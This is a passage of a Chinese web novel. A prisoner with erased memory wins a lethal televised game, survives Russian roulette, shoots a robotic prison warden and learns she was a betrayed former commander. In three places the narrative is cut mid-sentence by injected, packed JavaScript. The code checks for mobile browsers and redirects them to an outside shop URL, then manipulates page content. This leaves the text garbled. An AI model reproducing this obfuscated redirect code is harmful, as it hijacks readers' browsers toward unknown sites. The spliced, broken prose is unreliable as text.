他们成功抵达了这片森林的尽头——即使肉眼看过去,远方还是无穷无尽的森林。 但在青年伸手不知道摸在哪里后,没过一会,就有片水波纹般的涟漪在空中荡开。 一扇门无声滑开,向穆炽铺开通道。 铁灰与乳白交织的金属墙壁,两侧有绿色的灯带一路延伸,为他们提供照明。 是超过穆炽记忆里的超现实场面。 朝身后望去,还是充斥着原始森林的低生产力时代景象,被笼罩在过于明亮的人造月光之下。 “哈,科技啊。” 穆炽唇角微动,扯出一个似笑非笑的表情来——比起赞叹,更像嘲弄。 她推了身前的青年一把,自己也迈步进去。 大门在她身后轻巧滑拢,另一道经过信号处理的女声响起在整条通道内。 连带着那两侧埋在墙壁内的绿色灯带也好似在呼吸、亦或是鼓掌般,一并为她闪烁起来。 “欢迎你的到来,这场游戏的真正胜利者。” “请前往68层,我在典狱长办公室等你。” 4. 九乐城(四) 与那看似静谧又古朴的“村落”不同,穆炽这一步踏入,仿佛直接来到了另一个世界。 极冷硬的金属通道不断向前延伸,又弯出数个折角,通往不同的地方。 没有窗户,没有除去绿色指引灯以外的稳定照明光源,那些地方都黑得压抑。 看久了,有一种透不过气的憋闷感。 她本能的讨厌这里。 穆炽收回视线。 那个被她挟持着进来的青年已经一瘸一拐、龇牙咧嘴的离开了,大概是去类似医务室的地方治疗伤势。 临走前,他倒是还特意带穆炽来坐电梯。 大概是觉得她这种记忆被清洗干净的可怜家伙,一定会这些高科技玩意束手无策,连怎么用的都想不起来了。 他没有听见穆炽进来前的那一句低语。 穆炽也不会特意说些“她会用”之类的强调,暴露出自己还拥有记忆的事实。 她乐得当甩手掌柜,跟着青年进电梯,由他按下去往68层的按钮。 “典狱长”这个头衔一出来,穆炽也大概知道自己所处的环境。 这里是科技更先进的未来世界。 以及,与她认知里的监狱不同,这个世界里的监狱不会集中关押犯人,或是安排他们进行劳动改造兼创收。 他们会将囚犯的记忆抹去,投放到精心布置的摄影场景里,玩一些“令观众开心的”小游戏。 还没有真正见识过这个世界,穆炽已经对它有了一个大致的印象轮廓。 至少,它在对于人命的使用上,呈现出相当程度的娱乐化与残酷化。 以穆炽记忆里的认知来评判,这不是高度素质文明社会能做出来的事。 哪怕是她的时代,也不会安排死刑犯在电视节目里互相厮杀——赢的人还有奖励。 会毫不避讳的直播这种血腥场景,乃至连观众也对此津津乐道,穆炽大致可以推测一点。 比起文明,这个世界更推崇暴力。 也就意味着,比起她在学校与社会上学到的那些知识,她在野外丛林生存时获得的那些经验,或许要更有用。 在恍神间,电梯微微一震,抵达68层。 青年已经在途中离开了,临走前还又怕又敬的跟穆炽打招呼,“那个,我走了哈,哈哈,恭喜你获胜……” 穆炽的目光朝他身上随意一扫,就让他瞬间一个激灵,没有受伤的左手下意识捂住已经把裤子浸得湿漉漉的屁股。 并暗自决定以后如果再干类似的事,说什么他都要带上武器。 真倒霉,他回去后肯定会被同事笑上至少一个月……! 怨念极重,但敢怒不敢言。 好在穆炽的目的达到,也懒得再理会他。 一个眼神过去,对方就赶紧溜走了,留她一个人继续前往典狱长办公室,半点也不担心她会逃走。 穆炽出了电梯门,依旧有荧绿色的灯带依次亮起,为她指引方向。 能在“村落”里放置根本找不到在哪的摄像头,这里的监控以防御措施只会多不会少。 穆炽沿着指示灯继续往前。 她不会傻到在什么都没有弄清楚的情况下贸然逃跑,那样做就像在丛林里面对猛兽时选择转身逃跑,将自己的惶恐与致命的弱点完全暴露在它面前。 那道经过信号处理的电子女声也不再响起,直到穆炽停在其中一扇镶嵌着铭牌的金属门前。 “请进。” 穆炽还没有伸手,门就在她面前自动打开。 分明是看起来极其沉重的、类似银行金库保险那样的金属门,朝一旁滑开时,竟然也像方才见到的底层大门那般无声无息。 嚯,高级。 就算现在天花板上忽然翻出几挺机丨枪,冲她哒哒哒扫一轮子弹,穆炽也不会再感到惊讶了。 她抬腿走了进去,神态淡然自若,环视一圈的模样比起一位囚徒,更像前来视察的领导。 整体没有任何装饰,只有房间内侧放着一张同样质感高级的操作台——或者说是办公桌——再搭配两把椅子,一个放在桌上的手提箱。 在不知从何而来的灯源漫射下,天花板与地面的材质是相同的,整体统一的抛光质感使它呈现出某种冷酷的强硬,像一个更大的金属囚笼。 只有墙上挖出了个不过一米长宽的小洞,终于透了些尚且不那么压抑的光进来。 “还满意你见到的吗?” 坐在其中一把椅子上的人开口了,依旧是刚才穆炽听过的机械女声。 “我以为典狱长办公室会豪华得像宫殿,没想到也不过如此。” 穆炽的回答没有半点客气,令对方又发出几声明显的笑——死板的,毫无起伏的,像一阵模拟出的音频。 总之,根本不像是人会发出的真实笑声。 她原以为那是经过广播放大处理才导致的信号失真,没想到亲眼见到后,才发现对方的声音就是这样。 不对。 穆炽端详了对方一会儿,微微蹙起眉毛。 “你不是人。” 一丝不苟盘起的金发,无瑕疵的美丽面容,精确的微笑弧度,挺直的脊背,交叠放在桌上的双手…… 她是一个机器人。 或者是机械改造人? 对方的反应又太像人了,穆炽不那么确定。 听见穆炽这句宛若骂人的评价,对方唇边的微笑弧度又扩大了些。 她将右手压在身前,朝穆炽欠了欠身。 “你的判断很准确,不过我的情况,应当比你想象的还要更有趣。” 说完,她示意穆炽可以坐另一把椅子,被后者拒绝了。 “我只是来领取我的奖励。”穆炽淡淡道。 典狱长笑了。 在那张完美过头的人工面庞上,她的笑容越明显,整个人看起来就越诡异。 她做了个手势,操控台上便飞出一片光幕,似瀑布流淌在穆炽面前。 数个窗口在穆炽的视野里不停滚动,上面还有飞速刷过的弹幕与不断跳动的右上角数值。 有些窗口多,有些窗口少。 而那些窗口,穆炽大致浏览了下。 有正在阴森古宅里被不知名生物狩猎的,有像在冲关般沿着一条血红道路前进的,也有所有人都在某个房间里一动不动的…… 这些画面里的场景没有完全一致的,每个人需要面对的杀机、做出的反应也截然不同。 穆炽默默将目光从一堆已经抱在一起的光溜溜男女身上挪开,看向另一个窗口。 那个窗口里的画面比较简单,是一位黑发青年正在铁丝拧成的笼子里,与另一名壮汉进行空手格斗。 地面已溅上了大面积的血,又被踩出凌乱不堪的痕迹。 无一例外,这些画面里的人正在死去,或即将面临死亡。 “想看看你现在有多受欢迎吗?” 典狱长依旧微笑着,挥手令其中一个窗口放大,占据了主要位置。 对这点并不感到意外的穆炽看向屏幕。 画面里的她正站在典狱长办公室,不肯坐下,面对着一位看上去完美无缺的金发女性。 细微的表情变化使她看起来依旧没什么表情,依旧持着匕首的架势冷酷而果决。 弹幕的字体也随之变大,令她可以分辨内容。 【打赏给5号 1000血点:干得好,杀死他!我支持剖开他的肚子!】 大概是打赏金额很高的缘故,这条弹幕一直在置顶的居中位置,很久都没有消失。 他们果然喜欢看见不同寻常的展开,越新奇越来劲。 【不愧是5号,还是第一次看见能成功闯进监狱塔的犯人!】 【打赏给5号 10血点:太有意思了!】 【置顶那条给的也太多了,问题她现在又看不见你哈哈白费力气】 【没杀掉呢,真可惜】 【打赏给5号 30血点:那几刀戳得不错,再搅一搅就更妙了】 【究竟谁给她定的危险系数1%?】 【跟5号一比,大部分人都只是白痴而已嘻嘻】 【她打破了所有节目开播以来的最高人气值!】 除去弹幕外,窗口侧栏还有一列简单的人物介绍与状态显示。 穆炽没有名字,被标注为5号,底下的绿点后跟着【二代狼人】与【存活】字样。 唯一死亡的是7号,被标注为【一代狼人】与【死亡】。 其余五人则是【村民】与【存活】。 而当典狱长将窗口展示给她看之后,滚动的弹幕内容立刻变得密集。 【噢噢,她看见我们了】 【来打个招呼吧,5号】 【喜欢你啊啊啊啊】 【打赏给5号 20血点:我们支持你太棒了!!!】 【打赏给5号 100血点:快选择留下来吧,我还想继续看你!!!】 【打赏给5号 200血点:我赌你等会肯定能活下来!】 【脑袋开花!脑袋开花!脑袋开花!】 一大片的打赏弹幕飘过去,其中几条的内容令穆炽尤其在意。 她等会究竟是活着,还是脑袋开花? 她似乎,即将要做出一个选择。 “我猜,你大概也有心理准备了。” 虽然从典狱长的视角看不见光幕上的窗口内容,但她似乎对发生的一切都了如指掌。 在穆炽的注视中,典狱长将光幕收回,接着拿过桌边那个手提箱,在她面前打开。 是三支左轮样式的手丨枪与数枚子弹,造型经典到穆炽一眼就能认出来。 但除此以外,怎么看都平平无奇。 与这地方展现出的高科技相比,它的构造甚至可以称得上简陋。 穆炽看了那三支枪一眼,又看向典狱长。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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典狱长终于说出规则。 “一枪不开,我们会重新洗去你的记忆,将你投放到下一个游戏节目里。” “扣动第一支枪的扳机后存活,换取你能在这座监狱里活下来,成为像037那样的狱警。” “扣动第二支枪的扳机后存活,换取从这座监狱离开的自由。” “扣动第三支枪的扳机后存活,换取一份名单——相信我,你一定非常、非常想要这份名单。” 一次比一次的生还概率更低,一次比一次的奖励更诱人。 那双人工制造的微型摄像头对准穆炽,典狱长的脸上始终维持着那亲切的、令人悚然的微笑。 “死亡并不可怕,罪人的死亡更是毫无价值。” 她轻声开口。 “之前也不是没有人从游戏里获胜过,他们同样需要经历这个固定环节。有的人认输了,有的人对自己开了一枪或更多,有的人给予了观众最后一分余兴。” “我可以向你保证,这三把枪没有任何弄虚作假的成分。你是否能活下来,全凭自己的运气。” “如果你不敢赌自己的运气,我也会给予你一点特别的优待——作为第一个来到监狱塔的胜利者。” 典狱长的劝说出于好意。 获胜的人不少,但连开三枪还能活下来的,她没有见过。 甚至有的倒霉鬼,第一枪就脑袋开花。 遑论在亲手决定自己的生死上,人类求生的本能会压倒性的大于一切,恐惧叫嚣着要他们放弃。 她并非看轻眼前这位身份特殊的死刑犯,而是不认为在近乎绝对的死亡威胁面前,即使用自由做最后的诱饵,人类还能保留有多少自己的意志,以及勇气。 但接下来的一幕,令她错愕到有史以来第一次彻底呆怔住。 在无数个镜头对准的画面中央,穆炽没有说哪怕一个字。 她只是抛掉匕首,右手拿起第一支枪,抵在自己的太阳穴上。 唇角弯起,露出自走进这间办公室之后的第一个微笑。 凛然、高傲,轻蔑至极。 好似在说——你以为自己是谁,竟然敢拿这种把戏来嘲讽我。 连那飞快滚动的无数弹幕,也为此停滞了几秒。 紧接着,穆炽的食指扣动扳机。 ——咔。 放下,再拿起第二支枪。 ——咔。 放下,再拿起第三支枪。 ——咔。 在震撼到无声的万众瞩目中,她对准自己的太阳穴扣动了扳机。 三次。 5. 九乐城(五) 没有迟疑,没有恐惧,甚至没有表情变化。 穆炽仅是以一种平淡的、有条不紊的姿态,依次将那三支左轮手枪从桌上拿起,抵在太阳穴,开枪。 自始至终,眼睛都冰冷注视着典狱长,又微微眯起,透出十足的轻慢笑意。 就像以挑衅回敬挑衅,而她看不起这里的所有人。 节目画面里没人发弹幕,典狱长也没能做出任何反应。 他们都被眼前这一幕震撼到了。 但在开完第三枪后,穆炽并没放下手里那第三支枪。 她赌赢了最后这六分之一的概率,这支枪剩下的五发都将是装填了火药的实心子弹。 下一刻,穆炽调转手里的枪口,手臂与肩膀呈一条直线,毫不动摇的将它对准坐在操控台另一边的典狱长。 “我对自己开了三枪,”穆炽道,“现在,换你挨三枪了。” “这样一来,交易才公平。不是吗?” 随即,面带笑意的她连续扣动三次扳机。 砰!砰!砰! 后坐力使她每开一次枪,手腕连带小臂都会抬起一次。 但她的准头很好,好似天生就知晓该如何瞄准敌人的头颅。 就这样,穆炽眼也不眨,也朝着典狱长连续开了三枪! 如果此刻的弹幕有声音,一定是此起彼伏的倒吸一口气。 很快,铺天盖地的打赏与叫好淹没了全部画面。 穆炽看不见那些弹幕,只注视着挨了三枪的典狱长。 一枪瞄准额头。那张完美无瑕疵的面容出现了一个拇指甲盖那么大的洞,仿生皮肤被撕裂,露出的金属部分还覆盖着些许乳白色的细丝,像人体的神经或血管。 一枪瞄准喉咙。没能彻底贯穿的子弹嵌了进去,将典狱长的脑袋打得朝右边偏去些许,像被打断一半的竹子,上半截因支撑力不足而歪倒。 一枪瞄准心脏。发出明显的金戈相击声,衣服与仿生皮肤破了,但内里完好无损。 而这三枪的动力势能,使典狱长整个上半身往后栽倒,却又硬生生停在半途,再次恢复到坐直的姿势。 有淡绿色的半透明液体自额头流出。 那道液体淌过眼球,蜿蜒过面颊,经过弧度依旧标准的唇角,最终在下巴汇聚成水滴落下。 仿佛人类的血。 喉咙破损的部分则流出了更多,迅速浸湿了那件白色的西装衬衫。 典狱长却毫不在意,还冲着穆炽微微点头。 “你是第一个敢朝我开枪的。” 穆炽轻笑一声,终于拉开那把椅子,随意坐下。 半侧过身坐的,交叠起双腿,朝后靠着椅背,还搭了小臂在上面,简直就是在故意与典狱长那一板一眼的坐姿对着干。 “我现在还是死刑犯,无论我做什么,都不会再面临更严重的刑期了。”穆炽道。 “但你这是袭击监狱最高执法者。”典狱长笑起来。 “但我的自由判决也即将生效。”穆炽说,“自由前犯的罪,不就等于也会一笔勾销吗?” 典狱长反应了下,才跟上穆炽的思维。 她马上就要领取到她的奖励,那么无论奖励前犯下了多少足以坐牢枪毙一百次的罪,一律会被赦免。 竟然卡了个规则的bug! 如果被开枪的不是自己,典狱长简直要为她鼓掌。 而穆炽呢,她始终摆出不以为意的模样,似乎方才真的只是心血来潮,想要报复一下刚才的【固定环节】。 在心底,她却谨慎评估这具机器躯体的受损状态。 刚才她就是仗着规则有bug,故意朝机器人开了三枪。 等之后从这里出去,她一定还会遇到同样款式的机器人——甚至是更狂暴的。 现在,她已经试探出单靠手枪级别的热武器,很难迅速干掉一个机器人。 仿生皮肤下是全金属覆盖,躯干比四肢的防护力度更高。 喉咙的位置最脆弱,但只贯穿一部分并不会使它彻底丧失活动能力。 那些白色的脉络是什么,穆炽有点在意,但暂时没什么思路。 她也算是见过地球上的那些机器人,内部都是各种密密麻麻的线路与信号板,一眼就能看出是人造产物。 但那丝丝缕缕的脉络太过柔软,湿润,甚至会让人产生一种错觉,认为它是某种……活着的生物。 穆炽只佯装不感兴趣的撇了眼,就收回视线。 就是从见到监狱长开始直到现在的反应,不太像人工智能——也可能是科技发展得太高级,她分辨不出来。 挨了穆炽三枪,典狱长没有生气,也不急着清理自己,反而先动手打开光幕,一本正经地向观众谢场。 “如各位所见,5号已经通过所有挑战,即将获得属于她的豁免令与其余奖励。” “让我们恭喜239台的5号玩家,她成为了有史以来第一位获得所有奖励的死刑犯!” 穆炽坐在椅子上,改成抱臂的姿势,看她像个即将要开始唱《难忘今宵》的主持人,笑容满面与同样爆发出极大热情的弹幕做互动。 但她只回了砸下大钱打赏的那些。 等光幕关闭,典狱长才收敛笑容。 她将双手的手肘抵在桌面,十指交错在一处,摆出了很明显的思考姿势。 光幕已彻底关闭,不再有围观者的这间办公室内,接下来才是重头戏。 “老实说,我没想到你会是她。” 典狱长开口,“先自我介绍一下,我叫天兰,现任这座监狱的典狱长。” “你以为我是谁?”穆炽说。 “创下最伟大功绩的[她]。” 天兰的上半身前倾,直直盯着穆炽。那张被毁了一部分的脸在不作出任何表情时,显出几分诡异的惊悚。 “旧日时代的最高人类指挥官,我们也会尊称她为司令官阁下。” “在末日时代,是她带领着人类点燃足以存续下来的火种,矗立起一座又一座庇佑着所有人的城市,让我们得以将这份文明继续延续下去。” 喉咙遭到部分破坏,原本就机械的女声更是产生些许卡顿般的失真,像一台不能正常调频的收音机。 对于天兰说出口的那些内容,穆炽没有给出太多反应。 她也给不出太多反应。 ——她根本没有这部分的记忆,半点也没有。 无论如何回忆,她都只记得自己坠崖前的二十来年,而它根本不发生在这个世界里。 成为旧日时代的最高指挥官,带领人类从灭世的灾难中走出来,这些经历听在穆炽的耳朵里,虚幻到不真实。 何况。 “既然我是最高指挥官,为什么现在会变成死刑犯?”穆炽道,“而且,那些观众看起来也不认识我。” 都在科技这么发达的世界里当上最高指挥官了,没人见过她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705089|189163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? “这便是连我也感到吃惊的关键点了。”天兰说,“您通常都是覆面状态,许多人不认识您也十分正常……自然,我曾经是见过您真容的,在十年前。” 穆炽歪了下脑袋,意识到自己这具身体的年龄可能比预计的还要大。 “十年前,我曾有幸与您有过一次短暂的会面。那时候,您的样貌与现在并不相同。或许在这八年间,您对自己的五官动过改造手术。这很正常,现在几乎所有人都喜欢这么做。” 不,这就是她记忆里的脸。 穆炽看过光幕画面上的自己,长得与她记忆里大差不差。 比起天兰的猜测,她倒更相信是十年前的自己故意把五官调整得不像“原本的自己”。 虽然在心底反驳了对方的猜测,但穆炽不打算解释。 “他们对外公布您遭受基因污染,逐渐丧失理智,异化成了堕暗者。” 天兰平静回答,“为此,他们不得不处理掉您,继承您的遗志,带领人类走向更光明的未来——更好的、更伟大的未来。” “自那天起,已经过去了八年。” “而那位旧日最高人类指挥官,确实再也没有出现过——直到今天,我从你的身上,看见了她的影子。” 天兰指着自己额头的枪伤,唇角微笑。 “不仅是在游戏里的表现。你真的非常有[她]的行事风格,当初,[她]见到我的第一面,也是对我开了一枪,说是想测试新玩意的防御性能。” 穆炽哑然。 但也发现了不对劲。 “你是人工智能?” 这种联想能力与判断力,实在更接近人类而非死板的人工智能——除非后者眼下已经进化到拥有智慧的级别。 “不,我是人类,也是同谐者。如您所见,我可以操纵这座监狱塔,包括这具机械身躯。” 天兰微微笑了下,“清洗记忆果然给您带来了很严重的副作用。” “……” 记下同谐者这个名词的穆炽淡淡瞥了她一眼,心想这是谁害的。 “这点不能怪我。” 天兰摇头,“您是以植物人状态被送过来的,而我这里是监狱,不是医疗所。因此,我的部下严格依照流程操作,清洗记忆后将您投入239台,只当做第一夜的消耗品使用——如果您没有中途醒来,反杀7号的话。” 对此,穆炽只是冷冰冰扯了下嘴角。 “变成植物人还能当死刑犯,我真了不起。” 天兰假装没有听见她的阴阳怪气。 “我一直认为您不可能成为堕暗者,但没人相信我的话。或者说,他们已经得到了利益,早已不打算相信我的猜测。” 那是一场有预谋的共同背叛。 为了权势与利益,他们不惜花大力气谋害了获胜凯旋的、有伤在身的最高统帅,在人类迎来最终胜利的前夕,亲自将那枚果实牢牢抓在手里。 随后,他们瓜分了在这片大陆上建起的七座城市,各自拥有对它的绝对统治权。 这不是一个穆炽喜欢听到的故事。 但她心底瞬间被点燃的怒与恨,仿若压抑许久后终于熊熊而起的大火,沸腾着、咆哮着流淌过她的每一滴血,在告诉她。 这是真的。 她被自己曾经最信任的那几人背叛了。 从此刻开始,她必将以牙还牙,以眼还眼。 ——百倍奉还。 6. 九乐城(六) 时间有限,典狱长天兰并没有讲得很仔细。 遑论她不在当年的权力核心层,有些关于细节的描述都是靠猜测而非亲眼所见。 天兰说完后,穆炽闭了闭眼,重新整理自己此刻的思绪。 在未知的真相面前,她要确保自己的思考不被对方带偏。 “所以,我究竟是怎么进来的这里?”穆炽问。 搞明白当下的状况更关键。 谈话进入没有观众的私人领域,天兰没有隐瞒,很快就回答。 “实际上,是被判定为无价值的黑户兼废弃品,卖给监狱做最后处理的。”天兰摊开双手,“谁也没想到你会醒过来。” 停顿片刻,她说出更加地狱的内容。 “在你被投放进这个游戏前,所有的器官匹配已经完成。一旦死亡,狱警会立刻将你的尸体拉去做后续处理,抽取血液、摘除器官、剥去皮肤、剃光头发……直到最后,清理干净余下的无用部分。” 在这个世界,即使是毫无价值的废弃品,也可以贡献出自己的最后一点余热。 穆炽:“……我以为会直接火化。” “那是额外的价格。” 天兰说,“很昂贵,只有中产以上的人才会选择这么做。当然,真正的富人还有更好的选择。” 至于穷人的情况,天兰不必开口,穆炽也知道。 如果售卖尸体合法,就算有人不想卖掉,悄悄埋土里,都会有别人连夜偷挖出来拿去卖。 毕竟,连她这个植物人都被“废物利用”了。 穆炽思索一会,“如果我是你说的那个最高指挥官,没有基因库匹配之类的手段来确认身份吗?” “没有。”天兰说,“至少在官方层面,关于[她]的所有资料都被销毁,且禁止民间提起,否则一律视为【危害治安罪】,顶格判刑。” 那就是死刑。 他们要抹去关于那位指挥官存在过的一切痕迹,将历史据为己有。 穆炽不再继续这个话题,那是白费力气。 天兰刚才说她之前是个黑户,这意味着她没有合法的身份丨证丨明,同样不会有过去的官方档案记录。 她能判断出自己的身体消瘦得异常,确实沉睡过很长、很长的时间。 在这场谈话的最后,穆炽朝天兰伸手示意。 “名单。” 这是她的奖励之一。 天兰将手提箱的内层拉链拉开,从里面抽出一张纸,交给穆炽。 “我所知道的参与者,已经全部写在上面。” 更确切地说,名单只是一个敷衍观众的幌子。 开第三枪存活后的真正奖励,天兰已经通过口述告知她了。 穆炽捏着那张纸,扫了眼。 【七上城城主:乌见绰】 【皇城城主:青皇】 【自由城城主:催沙】 【恩城城主:海月】 【九乐城城主:力羽】 …… 都是她没有记忆的名字,头衔倒是一个比一个响亮,打头几个全是城主,底下跟了些高官与财阀。 “一看就过着相当逍遥的日子嘛。” 穆炽评价这些人。 她神态自若,随手将那张纸倒扣在桌上,让别人看不出她心里是怎么想的。 天兰的本体躺在这座监狱塔的某处,操纵着那具破损的机械身躯,将那双模拟成人眼的微型摄像头对准她。 此刻,窗外已经不那么亮了。 某种沉闷的暗青色铺满不大的整个窗口,偶尔会有霓虹的线光远远闪过。 穆炽的视线偏过去,对着那扇窗口望了一会儿。 “决定好了?”天兰开口,“我们还有十分钟的时间,下一个节目的获胜者要来了。”——停顿片刻,她闭目微笑道,“不可思议,今天竟然一口气来了两位客人。” “没什么要问的了,别的事情我自己会去了解。” 穆炽不关心另一位玩家是谁,便将这当作她该离开的信号,从椅子上起身。 “还有别的东西要给我吗?说好的身份特殊会有优待呢。” 她不担心天兰是否会将这场谈话说出去。 要是被那些上层知道,对她没有任何好处。 比起这点,穆炽倒更狐疑为什么天兰要特意将这些事情告诉她。 “我无法离开这座监狱塔,能帮到您的地方不多。” 天兰在说出这句话时,办公室的门打开,另一个完好无缺的【天兰】走进来,带着弧度标准的微笑,将一张卡交给穆炽。 “这是239台节目播出的整个过程中,您收到的所有打赏。” “汇率换算及扣除手续费后,共计328543.87通用币,已全部汇入这张公民卡里。” “另外,这里面也记录了您的合法身份信息,刑满释放的囚徒:5号。想改成什么新名字,您后续可以亲自去政府的户籍管理科。” 【天兰】笑容可掬,以一种标准的服务态度对穆炽说道。 “这是胜利者的附带奖励,不论之前是任何身份,只要获胜,您都将成为九乐城的一位合法公民。” 接过那张卡的穆炽扯了扯嘴角,示意自己知道了。 这不废话,以前的记忆都被洗掉且无法找回,跟变成了另一个人有什么区别。 也就她不知道出于什么原因,竟然还保留了在地球生活的记忆。 虽说从眼下情况来看,那些记忆对她以后在这个世界的生活,可能并没有很大的帮助。 好比手里这张白色公民卡,制作得十分高级。 看不出是什么材质,偏沉,边角圆润,磨砂质感。 上面用细而流畅的花纹勾勒出一只飞鸟的形状,转动时隐隐能看见流光闪过。 除此以外,什么也没有。 穆炽用力掰了下,连折弯都极困难。 “这个还你。” 收起公民卡的她不再尝试,将那把枪放回操控台上,还给天兰。 但从地上拾回她进来时随手一丢的那把匕首。 “不过,这武器归我了,可以吧?” 枪有携弹数量限制,还是匕首更实用。 【天兰】站在打开的门外,等着将穆炽领出监狱塔。 而始终坐在操控台后方的天兰,则笑着默许了穆炽顺走匕首的行为。 只在穆炽即将离开时,忽然出声问道。 “我想知道,你做出了什么选择?” 穆炽站住了。 房间内安静片刻,直到她回过头。 “你知道我在扣动扳机时,脑子里想的是什么吗?” 天兰摇头,“是什么?” “这不是我与你之间的赌博,”穆炽半侧过身,在身前比出枪的手势。 “是我与命运的。” 她关上门,也将天兰望过来的视线隔绝在身后。 穆炽的面前则有另一个【天兰】,朝这边露出完美无缺的微笑。 很难说头上开了个洞的她,与面容完美无缺的她,究竟哪个更诡异。 【天兰】像一位安静的导游,全程没有说话。 她带着穆炽坐电梯来到23层,弯弯绕绕了一段路,再坐到1层,又走过好几条长廊,才终于打开其中一扇门。 一阵凉风迎面拂来,湿冷,闻起来还带着古怪的、使人皱眉的腥潮味道。 外面正下着淅淅沥沥的雨,高楼一栋比一栋刺破天际,挡去了绝大部分光线,使眼前这条漆黑的道路仅剩下倒映着霓虹炫光的无数水洼。 楼与楼之间架着许多空轨,距离地面至少有百米高,不时飞速掠过一辆列车。 这种场景,穆炽只在科幻电影里见过。 而在远离真实霓虹的地面,在这座监狱大门前,既没有守卫,也没有过客。 只有远处不时传来什么东西砸在地上的声音,不像是人弄出来的。 穆炽专注盯着那些雨珠看了会,问身边【天兰】。 “这个雨,对人有害吗。” “这是人工造景,不包含任何危险物质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705090|189163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”【天兰】说,“按照九乐城城主的意思,适当的雨能让这座城市看起来更绚丽。” 确实更绚丽了,无数水珠折射着同样人造的霓虹彩光,凝成的水洼又是天然的镜子,在不断荡开的涟漪中使它破碎,凝聚,又破碎。 原本漆一片黑的道路也因此获得些许虚幻虹光的眷顾,不至于伸手看不见五指。 既然知道这些雨对人体无害,穆炽便不在意自己会不会被淋湿了,直径走入雨中。 “您之后有什么打算?” 看着穆炽的背影,【天兰】低声开口。 “嗯,确实该考虑下啊,毕竟我现在也不是什么最高指挥官。”穆炽略沉吟片刻,朝她微微一笑。 “四舍五入,就先来造个反吧。” 这句话说得轻描淡写,却令【天兰】呆住了。 “……?!” 从那张人造的完美脸庞上,头一次出现了震惊的情绪。 她当年退缩了,在大清洗到来时闭口不言,没有像其他人那样勇敢抗争。 后来,又甘愿被安排在这座监狱塔内,再也没能出去过。 她同样成为了这座监狱的无期囚徒。 但即使是没有那些记忆的穆炽,面对这个世界,竟然也敢直接说出“造反”这种台词……?! 对此,穆炽仅是漫不经心耸了下肩,神态淡然而从容。 “既然我是那个什么最高指挥官,就说明这个世界本来就是属于我的东西。” “我造我自己的反,有什么问题吗?” 在【天兰】持续性震惊的目光中,穆炽朝她摆了下手,走得很快,没多久就消失在雨里。 >>> 目送穆炽离开,【天兰】关上监狱大门,重新回到这具躯体该待的工作岗位上去。 通过这片由特殊信号连接而成的“区域网”内,有更多的【天兰】在发出讯息,无声交流。 [一号的判断准确吗?如果她不是那位怎么办?] [这是在让她送死。] [但她的胆识实在是……] [即使她是曾经那位,我也不认为仅凭她一个人,就可以对抗如此恐怖的势力——他们已经掌控了整个世界。] [总有些大清洗遗漏的支持者。] [容貌不同,没有记忆,他们更不会相信她的身份。] [安静。]坐在办公室里的一号天兰出声。 [我们在这里待了这么多年,也都看见了那些囚犯在游戏里的表现。] [即使被洗掉记忆,有的囚犯,依旧会选择犯下杀人的罪。] [有的囚犯,则失去了往日的一切狡诈、傲慢及精明的特质,变得懵懂且蒙昧。] [也有的囚犯,会产生一定的蜕变,做出之前绝不会做出的事情。] [在记忆变成白纸的情况下,他们只能凭借本能行动,被游戏玩弄,活着的唯一价值就是带给观众乐趣。] “区域网”内一片安静,所有天兰都在听一号天兰说话。 [但5号,她是迄今为止唯一一个,失去记忆后依然保有敏锐判断力与高水平战斗技巧的囚犯。更别提她对人心与局势的把控更是出色,简直就是个天生的领导者。] 自八年前,天兰再也出不去监狱塔那天开始算起。 这么多年来,这样的人,她只见过一个。 [那三枪,是试探。]一号天兰继续道。 [如果她没有选择对自己开到第三枪,即使最后活下来,我也不会对她说那些。] [而如果,她真的是那个人,真的拥有颠覆世界的能力——那么,命运自会给予她正确的回应。] [她必将在那三枪中存活。] 一号天兰抬手将歪掉的脑袋扶正,又擦去流淌在脸上的营养液。 面容平静,失真的声音却轻微颤抖起来。 亦如双手交叠在胸口、正闭目似沉睡着的本体,自眼角缓慢滑落一颗泪珠。 [别忘了,这是她“临死前”曾经对我们……对我说过的话。] 7. 九乐城(七) 九乐城,天气雨。 时间,大约是晚上。 穆炽离开那座监狱塔,随便挑了条路。 雨始终淅淅沥沥的落着,一颗接一颗大小适中的水珠自墨黑的天空下坠,裹挟着流虹的光点,碎在地面。 仰头朝高处看,那些绚烂的、真实的人造光源离地面太远,远得让它像海市蜃楼,或者一个美好的梦。 越靠近地面,那些连折射都来不到这里的光就使它显得越暗。 好似变成铅笔反复涂抹出的影子,只为衬托光亮的一面。 穆炽走在路上,好半天也找不到一家开着的商铺,见不到哪怕一个路人。 这些高楼的入口紧闭,三十层以下没有窗户,看起来更像一个巨大的承重柱。 路面也没有车,车都在百米高的空轨上面跑。 只有这场人造雨是流动的,成了这里除穆炽外唯一有生机的东西。 下了这么久,雨势始终既不大,也不小,控制得刚刚好。 